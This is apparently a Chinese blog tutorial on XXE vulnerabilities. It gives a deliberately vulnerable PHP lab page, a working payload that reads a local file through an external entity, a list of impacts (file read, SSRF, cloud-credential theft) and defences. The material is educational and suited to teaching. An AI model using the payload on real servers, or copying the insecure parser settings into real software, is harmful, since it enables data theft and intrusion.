XXE介绍
服务器能够接受并解析XML数据,但又没对XML数据进行安全控制。
漏洞核心
允许了引⼊外部实体的加载,导致程序在解析xml的时,可以加
载恶意外部⽂件,从⽽造成⽂件读取等危害。
php_xxe靶场实验
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);//
$xmlfile = file_get_contents('php://input'); //对⽂件进⾏相关读取
//file_put_contents(1.txt,'dddddd');⽂件写⼊
try{ //捕获程序中的异常,匹配后进⾏相关输出
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$u
sername);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$u
sername);
}
}catch(Exception $e){//异常处理对象
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->
getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
引起xxe函数
libxml_disable_entity_loader(false):允许xml加载外部实体
file_get_contents():把整个⽂件读⼊⼀个字符串中
file_put_contents() 函数把⼀个字符串写⼊⽂件中。
try catch 块
1.功能:程序异常捕获
2.语法:
LIBXML_NOENT: 替代实体。将 XML 中的实体引⽤ 替换 成对应的值
LIBXML_DTDLOAD: 加载外部⼦集。 加载 DOCTYPE 中的 DTD ⽂件
通过php://input协议获取POST请求数据,然后把数据通过file_get_contents()函数,放在
$xmlfile变量中。
simple_import_dom():
1.功能:把 DOM 节点转换为 SimpleXMLElement 对象。对xml进⾏实体化
如果失败,则该函数返回 false。
2.语法:simplexml_import_dom(data,class)
3.相关参数:

4.实例:

//输出:John
burp抓包,可以看到时xml数据格式。

重发包发现数据外带,

构造payload:
<?xml version="1.0"?>
<!DOCTYPE note [//note标签:指定公开⽂本描述,即对引⽤的公开⽂本的唯⼀描述性
名称。!DOCTYPE note 定义此⽂档是 note 类型的⽂档
<!ENTITY poc SYSTEM "file:///D:/3.txt"> //entity实体
]>
<user><username>&poc;</username><password>qwe</password></user>
读取了文件数据

https://www.xxe.sh,可输入域名生成对应poc
XXE是否存在判断
有源码相关函数
无源码
抓包,看报⽂是否包含 xml传参,如果是xml格式的body,则发送⼀个<Ttt>数据
</Ttt>查看是否能回显, 有则直接攻击,⽆则参考⽆回显的xxe攻击。
漏洞危害
1.任意⽂件读取 。通过file协议等进⾏辅助读取源代码/配置⽂件
2.执⾏系统命令
3.服务器端请求伪造
a. 暴露内部服务。
b. 通过“端⼝扫描”枚举内部服务。
c. 通过元数据实例窃取云凭证。
4.DOS拒绝服务
5.解析器细节可能的影响
a.⽬录列表(仅适⽤于 Java SAX 解析器)
b.程代码执⾏(仅适⽤于 PHP/expects 或 ASP)
漏洞防范
-
过滤和验证⽤户提交的XML数据
过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
-
禁⽤外部实体⽅法

-
禁⽌XML中包含除⾃⼰外声明的DTD
-
有效的措施:配置XML parser只能使⽤静态DTD,禁⽌外来引⼊;对于Java来说,直接设置相应的属性值为false即可
-
⼀个最⼩的平台,没有任何不必要的功能、组件、 ⽂档和样本。 删除或不安装未使⽤的功能 和框架。
-
及时审查和更新相关补丁包

浙公网安备 33010602011771号